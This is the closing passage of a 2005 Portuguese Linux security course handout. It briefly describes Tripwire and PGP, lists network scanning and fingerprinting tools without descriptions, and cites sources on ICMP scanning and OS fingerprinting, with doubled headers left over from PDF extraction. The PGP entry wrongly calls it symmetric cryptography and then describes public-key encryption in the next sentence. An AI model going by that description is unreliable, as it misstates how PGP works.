varredura do host local, verificar o modo dos arquivos e as senhas fáceis. No final de seu trabalho ele gera

um relatório com a descrição e a ação a ser tomada para resolver a violação;

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 6969 de de 7171

Page 70: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Tripwire : este aplicativo informa se já houve alguma invasão no sistema. Ele é um analisador de

integridade de arquivos e diretórios, durante sua execução ele compara as informações existentes no

sistema de arquivo com os dados préviamente coletados e armazenados no banco de dados. Normalmente

sua atividade é agendada pela CRON do sistema. Após ser executado ele produz um relatório com as

possíveis violações que o sistema possa ter sofrido. Quando executado periodicamente permite que

brechas de segurança possam ser descobertas o mais rápido possível.

PGP : este é uma ferramenta multi plataforma que através da criptografia simétrica permite proteger

o conteúdo e/ou a integridade dos dados trocados. Ao enviar uma mensagem ele pode utilizar a chave

pública do destinatário de tal modo que somente quem possuir sua chave privada poderá decifar a

mensagem que lhe foi enviada.

Hping:

Icmpenum:

Icmpquery:

Strobe:

Udp_scan:

Siphon:

p0f:

Cheops:

Icmpinfo:

nttcp:

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 7070 de de 7171

Page 71: Linux Apostila 420 SegurancaNew

Apostila do Curso de Segurança – Apostila do Curso de Segurança – DRAF 0.4DRAF 0.4 - Petrópolis, - Petrópolis, 5 de Março de 20055 de Março de 2005

Referencias:

[1] Net, Urubatam; Dominando Linux Firewall Iptables;

[2] Linux Magazine, Número 4 Ano I, página 32;

[3] Arkin, Ofir; ICMP Usage in Scanning; Julho de 2000;

[4] Fping – http:\\www.fping.com\

[5] RFC 1812: Requiriments for IPv4 Routers; http:\\www.ietf.org\rfc\rfc1812.txt

[6] RFC793 - TRANSMISSION CONTROL PROTOCOL; DARPA INTERNET PROGRAM,

PROTOCOL SPECIFICATION; Defense Advanced Research Projects Agency. September 1981;

[7] IANA: List of assigned ports; ftp:\\ftp.isi.edu\in-notes\iana\assignments\port-numbers;

[8] Fyodor; Remote OS derection via TCP/IP Stack FingerPrinting; 18 de Outubro de 1998;

[9] Arkin, Ofir; ICMP Usage in Scanning, The Complete Know-How; Versão 3.0; Junho de 2001;

[10]Arkin, Ofir e Yarochkin, Fyodor; X remote ICMP based OS Fingerprinting techniques; Agosto de

2001.;

[11] Arkin, Ofir; A remote active OS fingerprinting tool using ICMP; Abril de 2002;

[12] Arkin, Ofir e Yarochkin, Fyodor; The Present and Future of Xprobe2, The Next Generation of

Active Operation System Fingerprinting; julho de 2003;

[13] Cid, Daniel B.; Identificação Passiva de Sistemas Operacionais; Maio de 2003;

[14] Nazario, Jose; Passive System Fingerprinting using Networking Client Applications; 27 de

Novembro de 2000;

[15] Smith, Craing; Know Your Enemy: Passive Fingerprinting - Identifing remote hosts, without then

khnowing; 4 de Março de 2002

Prof. Luís Rodrigo de O. GonçalvesProf. Luís Rodrigo de O. Gonçalves :: [email protected] :: www.lrodrigo.cjb.net Página Página 7171 de de 7171

valnir
Carimbo
valnir
Carimbo
valnir
Carimbo
valnir
Carimbo
valnir
Carimbo
valnir
Carimbo
valnir
Carimbo